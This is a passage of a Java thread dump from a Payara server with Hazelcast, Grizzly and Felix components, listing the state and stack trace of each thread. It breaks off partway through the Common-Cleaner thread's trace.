#61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@318368b2 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.dazzling_hawking.HealthMonitor" #67 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Thread.sleep(Native Method) + at java.base@11.0.25/java.lang.Thread.sleep(Thread.java:334) + at java.base@11.0.25/java.util.concurrent.TimeUnit.sleep(TimeUnit.java:446) + at com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread.run(HealthMonitor.java:163) + +"EventAdminAsyncThread #9" #154 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65530a64 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"payara-executor-service-task" #129 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@731226d0 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.IO.thread-in-1" #77 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.25/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"Executor-Service-6" #122 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@21cbb2b2 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.cached.thread-5" #89 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@22b1febf + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.TcpServer.thread-1" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70117fbd + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1170) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"GF Domain XML" #113 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@69fd2980 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"admin-thread-pool::admin-listener(1)" #105 daemon [WAITING] on java.lang.Object@7ddd76c2 + java.lang.Thread.State: WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at java.base@11.0.25/java.lang.Object.wait(Object.java:328) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"payara-executor-service-task" #128 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@731226d0 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.InvocationMonitorThread" #72 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36110450 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-5" #121 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@21cbb2b2 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.partition-operation.thread-5" #48 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.generic-operation.thread-2" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63759f6d + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"Executor-Service-7" #135 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@21cbb2b2 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"CM Configuration Updater" #141 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68fd026d + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:483) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:671) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"admin-listener-kernel(1) SelectorRunner" #107 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.25/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #8" #151 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65530a64 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"GF Domain XML" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3d91f7b7 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@11.0.25/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.25/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"payara-executor-service-scheduled-task" #123 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@561bdbaf + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"payara-executor-service-task" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@731226d0 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-5" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bb9bb4c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.TcpServer.thread-4" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70117fbd + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"http-thread-pool::http-listener-2(5)" #102 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@39b13195 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"GF Domain XML" #114 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@69fd2980 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.IO.thread-out-2" #81 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.25/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"iiop-service-kernel(1) SelectorRunner" #115 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.25/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"GF Domain XML" #116 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@69fd2980 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"FelixFrameworkWiring" #21 daemon [WAITING] on java.util.ArrayList@a91719c + java.lang.Thread.State: WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at java.base@11.0.25/java.lang.Object.wait(Object.java:328) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:169) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"http-thread-pool::http-listener-1(1)" #91 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6a1fdf13 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-2" #118 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@21cbb2b2 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Common-Cleaner" #11 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@72035837 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at java.base@11.0.25/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at 